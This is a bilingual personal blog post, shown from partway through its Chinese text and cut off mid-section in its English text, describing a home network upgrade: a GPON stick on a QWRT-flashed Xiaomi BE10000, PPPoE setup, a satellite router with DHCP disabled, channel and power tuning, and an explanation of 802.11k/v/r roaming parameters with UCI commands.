uci set dhcp.lan.dhcpv6='disabled'
uci set dhcp.lan.ndp='disabled'
uci commit dhcp
/etc/init.d/odhcpd restart

关闭后可以检查：

uci show dhcp.lan

看到类似：

dhcp.lan.ignore='1'

即可。

需要注意，dnsmasq 进程仍然运行不代表从路由还在发 DHCP。只要生成配置中存在类似：

no-dhcp-interface=br-lan

就说明它不会再在 LAN / br-lan 上提供 DHCP 服务。保存并应用后应该就可以连接主路由并通过设置的子路由 IP 连接了. (这段我在LuCI上并没有找到很明确的关闭 DHCP 服务的配置选项, 是让 GPT 通过 SSH 直接编辑 UCI 得出的)

在从路由的网络 -> 无线, 配置各个 SSID 接口的信息和主路由同步:

此时两个 WiFi 应该都能成功连上 (虽然 SSID 相同).

配置 802.11 k/v/r

主路由

uci set wireless.ath0.ieee80211k='1'
uci set wireless.ath0.rrm_neighbor_report='1'
uci set wireless.ath0.rrm_beacon_report='1'
uci set wireless.ath0.ieee80211v='1'
uci set wireless.ath0.time_advertisement='0'
uci set wireless.ath0.wnm_sleep_mode='0'
uci set wireless.ath0.bss_transition='1'
uci set wireless.ath0.ieee80211r='1'
uci set wireless.ath0.nasid='Master_2_4G'
uci set wireless.ath0.mobility_domain='cafe'
uci set wireless.ath0.reassociation_deadline='1000'
uci set wireless.ath0.ft_over_ds='0'
uci set wireless.ath0.ft_psk_generate_local='1'

uci set wireless.ath1.ieee80211k='1'
uci set wireless.ath1.rrm_neighbor_report='1'
uci set wireless.ath1.rrm_beacon_report='1'
uci set wireless.ath1.ieee80211v='1'
uci set wireless.ath1.time_advertisement='0'
uci set wireless.ath1.wnm_sleep_mode='0'
uci set wireless.ath1.bss_transition='1'
uci set wireless.ath1.ieee80211r='1'
uci set wireless.ath1.nasid='Master_5G'
uci set wireless.ath1.mobility_domain='cafe'
uci set wireless.ath1.reassociation_deadline='1000'
uci set wireless.ath1.ft_over_ds='0'
uci set wireless.ath1.ft_psk_generate_local='1'

uci commit wireless
wifi reload

需要注意的是, 802.11k/v/r 不是 AP 主动强制客户端漫游, 真正决定是否漫游的仍然是客户端. AP 只是通过这些协议给客户端提供邻居信息、漫游建议和快速重关联能力, 不同手机、电脑、IoT 设备对这些协议的支持程度不同.

上面的配置主要配置了三个无线接口:

ath0: 主路由 2.4G
ath1: 主路由 5G

三个接口配置逻辑相同, 只是 nasid 不同.

1. 802.11k: 无线资源测量 / 邻居报告

1.1 `ieee80211k='1'`

开启 802.11k Radio Resource Management. 802.11k 的主要作用是让 AP 能够向客户端提供周围 AP 的信息. 客户端不需要盲目扫描所有信道, 而是可以根据 AP 提供的邻居列表, 更快找到适合漫游的目标 AP.

简单理解:

802.11k 让客户端知道“附近还有哪些同 SSID 的 AP 可以切过去”.

没有 802.11k 时, 客户端通常需要自己扫描信道. 扫描过程会消耗时间, 也可能导致短暂卡顿. 开启后, 支持 802.11k 的客户端可以更快获得候选 AP 信息.

1.2 `rrm_neighbor_report='1'`

开启 邻居报告. 这是 802.11k 中最常用、最关键的能力. AP 会向客户端提供邻近 BSS 的信息, 例如:

邻居 AP 的 BSSID
所在信道
PHY 类型
是否同属于当前 ESS
是否支持相关漫游能力

简单理解:

这个参数让 AP 可以告诉客户端: “你旁边还有这些 AP, 它们在这些信道上. ”

这对多 AP 漫游很重要, 因为客户端不需要从 1 信道扫到 165 信道, 而是可以优先扫描 AP 告诉它的候选信道.

1.3 `rrm_beacon_report='1'`

开启 Beacon Report 支持. Beacon Report 允许 AP 请求客户端报告它扫描到的 Beacon 信息. 也就是说, 客户端可以告诉 AP:

我看到了哪些 AP
它们的信号强度如何
它们在哪些信道
当前无线环境大概是什么样

简单理解:

Neighbor Report 是 AP 告诉客户端附近有什么；Beacon Report 是客户端反过来告诉 AP 它看到了什么.

实际家庭网络里, rrm_neighbor_report 的作用通常更直观；rrm_beacon_report 属于辅助能力, 打开即可.

2. 802.11v: BSS Transition / 漫游引导

2.1 `ieee80211v='1'`

开启 802.11v Wireless Network Management. 802.11v 的作用比较广, 其中和家庭 Wi-Fi 漫游最相关的是 BSS Transition Management.

简单理解:

802.11v 让 AP 可以向客户端提出“建议你切到另一个 AP”的请求.

注意, 这只是建议, 不是强制. 客户端可以接受, 也可以拒绝. 比如客户端还连在主路由上, 但它已经走到从路由附近了. 此时 AP 可以通过 802.11v 通知它:

你现在连这个 AP 信号已经一般了, 可以考虑切到旁边那个 AP.

启用 802.11v 可以改善“黏 AP”的情况, 但不能保证所有设备都会听.

2.2 `bss_transition='1'`

开启 BSS Transition Management. 这是 802.11v 中最关键的漫游相关功能. 启用后, AP 可以向客户端发送 BSS Transition Management Request, 里面通常会带上推荐的目标 AP 列表.

简单理解:

ieee80211v 是打开 802.11v 总开关, bss_transition 是打开真正用于漫游建议的功能.

如果只开 ieee80211v, 但不开 bss_transition, 漫游引导效果可能不完整.

2.3 `time_advertisement='0'`

关闭 时间通告. 802.11v 里包含 Time Advertisement 功能, AP 可以向客户端广播时间信息. 家庭 Wi-Fi 漫游场景通常不需要 AP 给客户端提供时间同步, 所以这里设置为 0.

2.4 `wnm_sleep_mode='0'`

关闭 WNM Sleep Mode. WNM Sleep Mode 是 802.11v 的一部分, 主要用于客户端省电. 客户端可以进入一种特殊睡眠状态, AP 帮它保留一些上下文. 家庭路由、多 AP 漫游场景一般不依赖这个功能, 而且部分设备兼容性可能一般, 所以这里关闭.

3. 802.11r: Fast Transition / 快速漫游

3.1 `ieee80211r='1'`

开启 802.11r Fast BSS Transition. 802.11r 的作用是缩短客户端从一个 AP 切换到另一个 AP 时的认证和重关联时间. 普通漫游时, 客户端切换 AP 可能需要重新完成一套认证流程. 802.11r 会提前准备好部分密钥派生流程, 让客户端切换时更快.

它不会决定客户端什么时候漫游, 但当客户端决定要漫游时, 它可以让切换过程更快.

适合场景:

手机在房间之间移动
语音通话
视频会议
游戏
多 AP 同 SSID 环境

需要注意的是,

大多数新设备支持 802.11r
少数老旧或兼容性差的 IoT 设备可能不喜欢 802.11r
如果遇到某些设备无法连接, 可以先怀疑 802.11r 兼容性

3.2 `mobility_domain='cafe'`

设置 Mobility Domain. Mobility Domain 是 802.11r 的漫游域标识. 只有处在同一个 Mobility Domain 里的 AP, 客户端才会把它们视为同一个快速漫游域.

同一套 SSID 下, 所有要参与 802.11r 快速漫游的 AP, 都应该使用相同的 mobility_domain.

这里使用:

uci set wireless.ath0.mobility_domain='cafe'

cafe 是一个 16-bit 十六进制值, 刚好是 4 个十六进制字符, 类似于 DEADBEAF 这种 Magic Number. 这个值可以自定义, 例如:

mobility_domain='1234'
mobility_domain='abcd'
mobility_domain='beef'

但需要注意,

同一个漫游网络内必须一致
不同独立网络可以不同
必须是 4 位十六进制字符

3.3 `reassociation_deadline='1000'`

设置 重关联截止时间. 这个参数表示客户端执行 Fast Transition 重关联时, 允许的最大时间窗口. 单位通常按 TU 理解, 1 TU ≈ 1.024 ms. 1000 大约就是 1 秒左右.

简单理解:

客户端发起快速漫游后, 需要在这个时间窗口内完成重关联.

家庭网络里设置 1000 是比较常见、宽松、稳妥的选择. 太短可能导致部分设备来不及完成切换；太长一般也没有明显收益.

3.4 `ft_over_ds='0'`

设置 802.11r 的 Fast Transition 方式. 802.11r 有两种常见方式:

FT over the Air
FT over DS 这里: 使用的是 FT over the Air:

uci set wireless.ath0.ft_over_ds='0'

(关闭了 ft_over_ds, 也就是启用 FT over the Air).

FT over the Air

客户端直接和目标 AP 进行快速切换流程. 这是非专业环境里更常见、更直观的方式.

FT over DS

客户端通过当前连接的 AP, 经由分布式系统和目标 AP 交换信息. 联网设备先通过旧 AP 联系新 AP, 再完成切换. 实际家庭 OpenWRT/QWRT 多 AP 环境中, 它并不能提供明显的便利, 反而可能会出现设备兼容性问题.

3.5 `ft_psk_generate_local='1'`

让本机根据 PSK 本地生成 802.11r 所需密钥. 在 WPA-PSK / SAE Mixed 这类家庭网络场景中, AP 可以根据 Wi-Fi 密码本地生成 Fast Transition 需要的密钥材料.

家庭网络通常没有企业级认证服务器, 所以这个参数直接开启就行. 适用场景:

WPA2-PSK
WPA2/WPA3 Mixed
SAE mixed 视固件支持情况而定
无 RADIUS 的普通家庭网络

4. NAS ID: 每个 BSS 的唯一身份

uci set wireless.ath0.nasid='Master_2_4G'
uci set wireless.ath1.nasid='Master_5G'

4.1 `nasid='Master_2_4G'`

nasid 是 NAS Identifier, 也就是当前 BSS 的身份标识. 在 802.11r 场景里, 它用于区分不同 AP / 不同 BSS. 每个参与漫游的无线接口都应该有唯一的 nasid.

例如主路由:

ath0 -> Master_2_4G
ath1 -> Master_5G

从路由对应设置为:

2.4G -> Slave_2_4G
5G   -> Slave_5G

5. 为什么三个 ath 都要配置同一套参数？

因为 ath0、ath1、ath2 分别是三个不同的无线 BSS, 即使它们广播同一个 SSID, 它们在系统里仍然是三个独立的无线接口, 所以 802.11k/v/r 参数需要分别写到每个接口上.

这部分参数可以概括为:

参数	协议	作用
`ieee80211k`	802.11k	开启无线资源测量
`rrm_neighbor_report`	802.11k	允许 AP 提供邻居 AP 列表
`rrm_beacon_report`	802.11k	允许客户端上报扫描到的 Beacon 信息
`ieee80211v`	802.11v	开启无线网络管理能力
`bss_transition`	802.11v	允许 AP 给客户端发送漫游建议
`time_advertisement`	802.11v	时间通告, 家庭漫游场景通常关闭
`wnm_sleep_mode`	802.11v	WNM 省电模式, 家庭漫游场景通常关闭
`ieee80211r`	802.11r	开启快速漫游
`nasid`	802.11r / hostapd	标识当前 BSS, 建议唯一
`mobility_domain`	802.11r	设置快速漫游域, 所有 AP 保持一致
`reassociation_deadline`	802.11r	设置快速重关联时间窗口
`ft_over_ds`	802.11r	选择 FT 方式, `0` 表示 FT over the Air
`ft_psk_generate_local`	802.11r	根据 PSK 本地生成 FT 密钥

从路由

直接在 LuCI 启用对应配置即可, 可以参考我的配置:

三个无线接口都得做同样的设置, 同时保证 NAS ID 不同.

记得保证两边的加密方式完全相同, 802.11r 只负责减少漫游时重新认证的时间，但它要求参与同一个漫游域的 AP 在 SSID、密码、加密方式、Mobility Domain 等关键参数上保持一致。

如果主路由和从路由一个使用 WPA2-PSK，另一个使用 WPA2/WPA3 Mixed，或者一边启用了 SAE/FT-SAE，另一边只启用了 FT-PSK，客户端在漫游时可能无法使用同一套 Fast Transition 流程，表现为：

漫游时 Wi-Fi 图标短暂断开；
切换后重新进行 4-Way Handshake；
语音 / 视频通话卡顿；
某些 IoT 设备无法连接。

因此，如果目标是优先保证全屋漫游稳定，建议参与同一个 SSID 漫游的 AP 统一使用：

WPA2-PSK / AES-CCMP / FT-PSK

也就是 OpenWrt/QWRT 中常见的：

encryption='psk2+ccmp'
ieee80211r='1'
ft_psk_generate_local='1'
ft_over_ds='0'
mobility_domain='cafe'

WPA3/SAE 可以单独拆一个 SSID 给新设备使用，而不要和 IoT / 全屋漫游主 SSID 混在一起。

频段分析

我家里的网络环境比较复杂, 其中主路由位于客厅正中央, 客厅与厨房和阳台直接连通, 因此主路由的信号可以直接覆盖到这部分; 从路由位于书房, 左右和两个卧室相邻. 书房和客厅由一个很短的走廊连接, 房间 A 与客厅之间间隔卫生间: 其中两个星号分别是主路由(客厅) 和从路由(书房).

在各个房间的频段采集结果如下:
主卧

书房 (这里的红色高峰是由从路由发出的)

次卧

可以发现, 主卧的信道还算干净, 书房因为从路由所在所以信号足够强, 而次卧由于干扰严重, 加上信号没那么强, 并且目前我们的两个 AP (两个信号最强的红色的 WiFi) 信道全都挤在一起, 导致实际测速只能达到 80Mbps 左右.

因此, 接下来需要对信道和功率做一些小调整, 并且要配置 802.11 k/v/r.

调优功率和信道

其实主要就是为了将信道区分开, 同时调整覆盖范围, 尝试改善客户端粘在某个接入点的情况. 这部分配置参考了 AI 的建议, 下面整理一下各项参数的作用. 具体数值还是得结合房间布局、周边干扰和客户端表现调整.

1. 信道策略 (Channel): 减少两个 AP 之间的干扰

2.4G 频段 (主 1 / 从 11): 在这里使用的 20MHz 频宽下, 两个 AP 分开使用信道 1 和 11, 可以减少彼此的信道重叠. 常见的 1/6/11 规划也基于这种思路, 但不意味着没有邻居 Wi-Fi、蓝牙等其他干扰.
5G 频段 (主 36 / 从 52): 按这组设置, 两个 AP 使用不同的 80MHz 信道块. 52 属于 DFS 信道, 是否可用取决于地区和设备支持, 检测到雷达时也可能需要换信道.

这样做主要是减少自家两个 AP 的竞争, 不能保证底噪最低或吞吐量最大. 配置后仍需要检查实际工作信道和房间内的表现.

2. 频宽策略 (Bandwidth): 按干扰和速度需求取舍

2.4G 采用 20MHz: 相比 40MHz 占用更少的频谱, 在我家这种较拥挤的环境里更适合作为覆盖和 IoT 设备使用的频段. 它不直接保证更远的覆盖或更少的断流.
5G 采用 80MHz: 用作主要上网频段, 在速度和频谱占用之间取一个折中. 如果周围干扰较多, 也可以尝试降低频宽再比较实测结果.

3. 功率策略 (Tx Power): 调整覆盖范围

2.4G 设置为 18 dBm / 20 dBm: 尝试缩小过度重叠的覆盖区域, 减少客户端一直连接远处 AP 的机会. 降得太低也可能出现覆盖空洞, 所以需要边走动边测试.
5G 设置为 24 dBm / 23 dBm: 希望保留房间内的高速覆盖. 实际发射功率仍受设备与地区限制, 而且 AP 发射功率增大不代表手机的回传能力也会提高.

这些设置可能影响客户端的频段和 AP 选择, 但不等同于启用了专门的 Band Steering 机制, 也不能强制手机优先连接 5G.

4. 漫游配合 (Roaming)

11k (邻居报告) + 11v (BSS 转换管理): 为支持的客户端提供候选 AP 信息与切换建议. 是否发送建议取决于 AP 的实现和配置, 是否接受仍由客户端决定.
11r (快速转换): 在 SSID、加密方式和漫游域等配置匹配时, 减少切换 AP 所需的密钥协商开销. 普通漫游本来也不需要重新输入密码, 11r 优化的是认证过程, 不能仅凭打开开关就认定切换期间没有丢包或业务中断.

配置与说明初稿参考 Gemini, 实际表现见下方测试记录.

最终的频段, 频宽, 功率的配置是:

主路由 192.168.3.1
- 2.4G: channel 1 / 20 MHz / 18 dBm
- 5G: channel 36 / 80 MHz / 24 dBm
从路由 192.168.3.2
- 2.4G: channel 11 / 20 MHz / 20 dBm
- 5G: channel 52 / 80 MHz / 23 dBm

效果 & 后续

最终经过测试, 在客厅, 阳台, 厨房, 卫生间中都是默认连接到主路由, 在次卧中会自动切换到从路由连接, 在书房中关上门也会从主路由切换到从路由. 从信号强度下降到实际切换大概需要 5s 左右. 主卧不能确定, 有的时候会切换有的时候不确定, 但是在 5 次测试中有 3 次都切换了.

这里的 5s 是从信号下降到观察到切换的时间, 不代表网络中断了 5s. 这份记录没有给出切换时的丢包和认证耗时, 因此还不能据此判断是否达到了无缝漫游.

插 5Gbps 网口之后测速:
实际测速下行速率能跑到 1336.31 Mbps, 上行速率能跑到 158.16 Mbps. 应该是成功了 (?
但是实际使用体感不算太大, 因为当时测试了很多平台, 很少有平台能够跑满的, 加上现在的一些运营商策略比如 QoS 什么的, 速度很难跑满. 不过如果有 IDM 之类的多线程下载工具应该能发挥更大的作用?

Home Network Upgrade – GPON Stick + 802.11k/v/r Roaming

Sat, 11 Jul 2026 00:37:00 GMT

The beginning of the article explains the process of configuring a GPON stick and BE10000 PPPoE. If you only need to look up 802.11k/v/r related content, you can jump directly to the "Configuring 802.11 k/v/r" section.

The reason this all started was that during the May Day holiday I picked up a Xiaomi BE10000 locally in Harbin. I wanted to try using a GPON stick to see if I could push my home gigabit connection past 1 Gbps (cc: 浙江移动烽火光猫获取超密 + G-010S-A 猫棒上网 – 米露小窝). Moreover, since I use mesh-style tools like EasyTier and need features like Wake-on-LAN, and my existing Xiaomi AX3600 at home is already flashed with ImmortalWRT, I was hoping to also flash a WRT-based system. Then perhaps I could use 802.11 k/v/r for automatic switching, achieving a sort of manual mesh effect. After searching around, it seemed only the BE10000 met my requirements: it has an SFP+ cage and can be flashed with QWRT. I brought it home over the summer vacation — time to tinker with it()

And while I was at school I even fixed the only minor imperfection: the NFC tap-to-connect feature (ref: Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router - iYoRoy's Develop Diary). This machine is now truly complete (nod)

Terminology

1. Broadband & Optical Communication (Fiber & PON)

Abbreviation	Full Name	Description / Notes
FTTH	Fiber To The Home	Fiber to the home.
PON	Passive Optical Network	Passive optical network. Mainstream technology for home broadband access.
GPON	Gigabit-Capable PON	Gigabit-capable passive optical network. Our GPON stick is based on this standard.
OLT	Optical Line Terminal	Optical line terminal. The carrier's central office equipment, responsible for distributing optical signals downstream.
ONU	Optical Network Unit	Optical network unit. Customer premises equipment such as an ONT or GPON stick.
UPC	Ultra Physical Contact	Ultra physical contact. A common fiber connector type (usually blue end face).
APC	Angled Physical Contact	Angled physical contact. A common fiber connector type (usually green end face, with an 8-degree angle).
LOID	Logical ONU ID	Logical ONU identifier. A string used by the carrier to authenticate the ONU.
PLOAM	Physical Layer OAM	Physical Layer Operations, Administration and Maintenance. Also a password system used for ONU authentication.
SN	Serial Number	Serial number. The unique factory number of the hardware device, often used for ONU registration.

2. Wi-Fi & Roaming

Abbreviation	Full Name	Description / Notes
AP	Access Point	Access point. The role of the main router or satellite router emitting Wi‑Fi signals.
SSID	Service Set Identifier	Service set identifier. The Wi‑Fi name seen by users.
BSS	Basic Service Set	Basic service set. The set consisting of a single AP and the devices connected within its coverage.
BSSID	Basic Service Set Identifier	Basic service set identifier. Usually the MAC address of the AP's wireless interface.
ESS	Extended Service Set	Extended service set. A unified network of multiple BSSs (same SSID), i.e., the roaming environment.
RRM	Radio Resource Management	Radio Resource Management (802.11k). Used to obtain neighbor reports of surrounding APs.
WNM	Wireless Network Management	Wireless Network Management (802.11v). Allows the AP to send roaming guidance suggestions to clients.
FT	Fast Transition	Fast Transition (802.11r). Reduces the handshake and authentication time when a client switches APs.
DS	Distribution System	Distribution system. The wired network backbone; `ft_over_ds` means exchanging roaming information via the wired backbone.
NAS ID	Network Access Server ID	Network access server identifier. Used to uniquely identify a BSS node within a roaming domain.
SAE	Simultaneous Authentication of Equals	Simultaneous Authentication of Equals. WPA3 key exchange protocol, more secure than WPA2.
PSK	Pre-Shared Key	Pre-shared key. The most common password-based authentication method in home Wi‑Fi.

3. Network Protocols & System Settings

Abbreviation	Full Name	Description / Notes
PPPoE	Point-to-Point Protocol over Ethernet	Point-to-Point Protocol over Ethernet. The broadband dial-up protocol we commonly use.
VLAN / PVID	Virtual Local Area Network / Port VLAN ID	Virtual LAN / Port VLAN ID. Used to isolate network traffic; required for ONU dial-up.
SFP+	Enhanced Small Form-factor Pluggable	Enhanced small form-factor pluggable. Supports transmission rates up to 10 Gbps.
UCI	Unified Configuration Interface	Unified Configuration Interface. The underlying command-line configuration system of OpenWrt/QWRT.
LuCI	Lua Configuration Interface	Lua Configuration Interface. The web-based graphical configuration interface of OpenWrt/QWRT.
DHCP	Dynamic Host Configuration Protocol	Dynamic Host Configuration Protocol. Used to automatically assign IP addresses to devices on the local network.
L2	Layer 2	Layer 2. In the article, "L2 segment" refers to a local network within the same broadcast domain.

Materials

Xiaomi BE10000 Router
Xiaomi AX3600 Router
G-010S-A NOKIA GPON Stick
- Heatsink
- SC/APC to SC/UPC fiber patch cable
- SC/UPC fiber optic adapter
Flashing resources (you'll need to find these yourself; redistributing others' materials isn't great. You can refer to the firmware linked in the flashing tutorial below.)

Regarding that SC/APC to SC/UPC fiber cable — these terms describe the fiber connector specifications. Normal home FTTH typically uses UPC, which has a blue connector, whereas the GPON sticks we buy generally use an APC connector, which is green. The main difference lies in the shape of the ferrule end face: UPC has a slightly convex end face, while APC has an angled end face. If the OLT downstream optical power is strong enough, you could directly connect a UPC connector to the GPON stick and it might still work, but you'll suffer about 3 dB of additional optical loss. Therefore, I decided to play it safe. Image source: Fiber Connector PC, UPC, APC Main Differences - Zhihu

GPON sticks are notorious for running hot, so remember to attach a heatsink: After attaching it, the temperature I saw in the ONU's management interface was around 60 ℃.

Flashing the BE10000

The firmware has some known bugs, such as Wi‑Fi settings made through the frontend interface not being written correctly, which can prevent the entire networking subsystem from starting, leading to loss of connectivity and eventually triggering an automatic fallback. Therefore, some of the modifications to the main router described below are implemented using UCI commands.

Obtaining the Carrier ONU Configuration

There's no universal guide for this step... Go to Xianyu or Taobao and purchase a super admin password. Record the LOID, SN, LOID CheckCode (Password), PLOAM Password, and the VLAN ID from the Internet configuration section. In some regions you may also need to record the upstream MAC address.

LOID and LOID CheckCode:

PLOAM Password:

VLAN ID:

Generally speaking, carriers either use LOID, possibly together with a LOID CheckCode (Password), or they might use the PLOAM Password. Determine which applies based on your own situation.

In my case, with China Unicom Anhui, I only needed to record the SN, VLAN ID, and LOID for it to work. (Because my Unicom ONU wouldn't let me log in, I used a China Mobile ONU for the screenshots xD) Sometimes you don't even need the super admin password to get this information; certain ONUs (e.g., China Unicom Heilongjiang, Skyworth ONUs) provide these details even with a regular user account.

At the same time, record the PPPoE username and password:

Typically, the username is public. On some ONUs you can use the F12 trick to remove the password attribute and reveal the actual password, but some ONUs will only send back meaningless placeholder characters. In that case you can call the carrier to reset the password.

Configuring the GPON Stick

Insert the GPON Stick into the SFP+ port. If the Ethernet port LED does not light up, try going to QWRT -> Network -> ECM Hardware Acceleration Settings and forcing the SFP1 and SFP2 interface speeds to Force 2.5Gbps. (I wasn't sure which one corresponds to the current SFP slot, so I changed both.) Then Save & Apply, and you may need to reboot the router.

The default br-lan IP prefix should be 192.168.1.0/24. Keep it unchanged and access 192.168.1.10 to open the GPON stick's management console:

Go to GPON ONU Settings and fill in the information we just recorded: LOID and SN

And enable VLAN configuration: Check Interoperability Compatibility Mode, and fill in the VLAN ID under PVID.

After saving you may need to reboot the GPON stick. Then go to the Status page. If you see the PON Authentication Status / PON Signal Status as O5, it means the GPON stick has completed registration and is working normally.

Setting up PPPoE Dial-up

On the BE10000, the default WAN port is eth4, while the SFP port is eth5. Therefore, you need to switch the WAN interface from eth4 to eth5. Go to Network -> Interfaces -> Devices, find br-lan and add eth4 to it, then remove eth5. Next, go to the Interfaces page, change the WAN network adapter to eth5, and enter the PPPoE username and password you recorded earlier:

After saving, you should see that PPPoE has successfully dialed and you can access the internet normally: (I changed the entire br-lan subnet to 192.168.3.0/24; this step is not required.)

Modifying Basic Wi‑Fi Settings

Through testing I found that… modifying Wi‑Fi information directly via LuCI on the main router doesn't take effect properly (as mentioned above). Therefore, I modified the settings via UCI over SSH:

uci set wireless.ath0.ssid='[CENSORED]'
uci set wireless.ath0.encryption='psk2+ccmp'
uci set wireless.ath0.key='[CENSORED]'

uci set wireless.ath1.ssid='[CENSORED]'
uci set wireless.ath1.encryption='psk2+ccmp'
uci set wireless.ath1.key='[CENSORED]'

uci commit wireless
wifi reload

Here, SSID is the Wi‑Fi name, and the encryption value psk2+ccmp stands for WPA2-PSK/AES, the commonly used WPA2-AES configuration.

Although WPA3/SAE is more secure, in multi-AP + 802.11r roaming scenarios, WPA2-PSK + FT-PSK generally offers better compatibility. Some phones or IoT devices may experience connection failures, roaming failures, or slower switching when using combinations like WPA2/WPA3 Mixed, FT-SAE, PMF, etc.

If maximum compatibility is the priority, it is recommended to use WPA2-PSK/AES for the primary SSID used for whole-home roaming, and ensure that the encryption method is consistent across both the main router and the satellite router.

For the satellite router, since we want roaming, both Wi‑Fi networks must be on the same L2 segment. This requires disabling the satellite's DHCP server and configuring it as a device under the main router. Therefore, the following configuration steps apply to the satellite router:

Remove all other interfaces under Network -> Interfaces -> Interfaces, keeping only br-lan:
Under Network -> Interfaces -> Devices, add the wan port to the br-lan device:
Assign an IP address to the br-lan device under Network -> Interfaces -> Devices:

Make sure to include the subnet mask for the IPv4 address, and set the IPv4 gateway to the IP address of the main router.

Under Network -> Firewall -> General Settings, adjust the firewall rules to allow traffic. (btw, because I didn't want to bother with detailed rules and figured internal devices shouldn't be at much risk, I simply allowed everything. Please do not follow this if you have specific security needs xD)

Since the main router and satellite router are now on the same L2 broadcast domain, there should only be one DHCP server on the LAN: the main router. If the satellite's DHCP server is not turned off, clients might receive DHCP responses from both routers during connection or roaming, leading to incorrect gateways/DNS, or issues like DHCPNAK wrong server-ID.

Symptoms of this problem may include:

Wi‑Fi has already switched to another AP, but network recovery is slow;
Brief disconnection after roaming;
Client reacquires an IP address;
Occasional gateway/DNS anomalies;
It looks like 802.11r isn't working, but the real culprit is the DHCP layer.

On the satellite router, run via SSH:

uci set dhcp.lan.ignore='1'
uci commit dhcp
/etc/init.d/dnsmasq restart

If the satellite router also has IPv6 RA / DHCPv6 enabled and you want the main router to handle all IPv6, you can also disable them:

uci set dhcp.lan.ra='disabled'
uci set dhcp.lan.dhcpv6='disabled'
uci set dhcp.lan.ndp='disabled'
uci commit dhcp
/etc/init.d/odhcpd restart

After disabling, you can verify with:

uci show dhcp.lan

You should see something like:

dhcp.lan.ignore='1'

That's it.

Note that the dnsmasq process still running does not mean the satellite is still handing out DHCP leases. As long as the generated configuration contains something like:

no-dhcp-interface=br-lan

it means it will no longer provide DHCP service on the LAN / br-lan. After saving and applying, you should be able to connect through the main router and access the satellite via the IP address you assigned. (I couldn't find a clear option to disable the DHCP service in LuCI for this part, so I had GPT edit UCI directly via SSH.)

In the satellite router's Network -> Wireless, configure the SSID interfaces to match the main router's settings:

At this point, both Wi‑Fi networks should connect successfully (albeit with the same SSID).

Configuring 802.11 k/v/r

Main Router

uci set wireless.ath0.ieee80211k='1'
uci set wireless.ath0.rrm_neighbor_report='1'
uci set wireless.ath0.rrm_beacon_report='1'
uci set wireless.ath0.ieee80211v='1'
uci set wireless.ath0.time_advertisement='0'
uci set wireless.ath0.wnm_sleep_mode='0'
uci set wireless.ath0.bss_transition='1'
uci set wireless.ath0.ieee80211r='1'
uci set wireless.ath0.nasid='Master_2_4G'
uci set wireless.ath0.mobility_domain='cafe'
uci set wireless.ath0.reassociation_deadline='1000'
uci set wireless.ath0.ft_over_ds='0'
uci set wireless.ath0.ft_psk_generate_local='1'

uci set wireless.ath1.ieee80211k='1'
uci set wireless.ath1.rrm_neighbor_report='1'
uci set wireless.ath1.rrm_beacon_report='1'
uci set wireless.ath1.ieee80211v='1'
uci set wireless.ath1.time_advertisement='0'
uci set wireless.ath1.wnm_sleep_mode='0'
uci set wireless.ath1.bss_transition='1'
uci set wireless.ath1.ieee80211r='1'
uci set wireless.ath1.nasid='Master_5G'
uci set wireless.ath1.mobility_domain='cafe'
uci set wireless.ath1.reassociation_deadline='1000'
uci set wireless.ath1.ft_over_ds='0'
uci set wireless.ath1.ft_psk_generate_local='1'

uci commit wireless
wifi reload

It's important to note that 802.11k/v/r does not mean the AP actively forces clients to roam. The final roaming decision still rests with the client. The AP merely provides neighbor information, roaming suggestions, and fast reassociation capabilities via these protocols. Support for these protocols varies across different phones, computers, and IoT devices.

The configuration above covers two wireless interfaces:

ath0: Main router 2.4G
ath1: Main router 5G

The configuration logic is identical for both interfaces; only the nasid differs.

1. 802.11k: Radio Resource Measurement / Neighbor Report

Related configuration:

uci set wireless.ath0.ieee80211k='1'
uci set wireless.ath0.rrm_neighbor_report='1'
uci set wireless.ath0.rrm_beacon_report='1'

1.1 `ieee80211k='1'`

Enables 802.11k Radio Resource Management. The main purpose of 802.11k is to allow the AP to provide information about surrounding APs to clients. Clients don't need to blindly scan all channels; they can use the neighbor list provided by the AP to find a suitable roaming target faster.

Simple understanding:

802.11k lets the client know "what other APs with the same SSID are nearby and available to switch to."

Without 802.11k, clients usually need to scan channels themselves. Scanning takes time and can cause brief stutters. When enabled, clients that support 802.11k can obtain candidate AP information more quickly.

1.2 `rrm_neighbor_report='1'`

Enables Neighbor Report. This is the most commonly used and critical capability within 802.11k. The AP provides the client with information about neighboring BSSs, such as:

Neighbor AP's BSSID
Channel
PHY type
Whether it belongs to the same ESS
Supported roaming capabilities

Simple understanding:

This parameter allows the AP to tell the client: "Here are the nearby APs, and these are the channels they are on."

This is very important for multi-AP roaming because the client doesn't have to scan from channel 1 to channel 165; it can prioritize scanning the candidate channels suggested by the AP.

1.3 `rrm_beacon_report='1'`

Enables Beacon Report support. Beacon Report allows the AP to request that the client report information about the beacons it has scanned. In other words, the client can tell the AP:

Which APs it has seen
Their signal strength
Which channels they are on
An overview of the current wireless environment

Simple understanding:

Neighbor Report is the AP telling the client what's nearby; Beacon Report is the client telling the AP what it sees in return.

In a typical home network, rrm_neighbor_report usually has a more immediate effect; rrm_beacon_report is a supplementary capability — just enable it.

2. 802.11v: BSS Transition / Roaming Guidance

Related configuration:

uci set wireless.ath0.ieee80211v='1'
uci set wireless.ath0.time_advertisement='0'
uci set wireless.ath0.wnm_sleep_mode='0'
uci set wireless.ath0.bss_transition='1'

2.1 `ieee80211v='1'`

Enables 802.11v Wireless Network Management. 802.11v covers a broad range of functions. For home Wi‑Fi roaming, the most relevant is BSS Transition Management.

Simple understanding:

802.11v allows the AP to send a request to the client saying, "I suggest you switch to another AP."

Note that this is only a suggestion, not a command. The client can accept or decline. For instance, a client might still be connected to the main router but has physically moved close to the satellite router. The AP can use 802.11v to inform it:

Your signal to this AP is now relatively weak; you might consider switching to that nearby AP.

Enabling 802.11v can improve the "sticky client" problem, but it does not guarantee that all devices will comply.

2.2 `bss_transition='1'`

Enables BSS Transition Management. This is the most crucial roaming-related feature within 802.11v. Once enabled, the AP can send BSS Transition Management Requests to clients, typically containing a list of recommended target APs.

Simple understanding:

ieee80211v is the master switch for 802.11v; bss_transition enables the actual function used for roaming suggestions.

If you enable ieee80211v without bss_transition, the roaming guidance effect may be incomplete.

2.3 `time_advertisement='0'`

Disables Time Advertisement. 802.11v includes a Time Advertisement function where the AP can broadcast time information to clients. Time synchronization from the AP is generally not needed in a home Wi‑Fi roaming scenario, so this is set to 0.

2.4 `wnm_sleep_mode='0'`

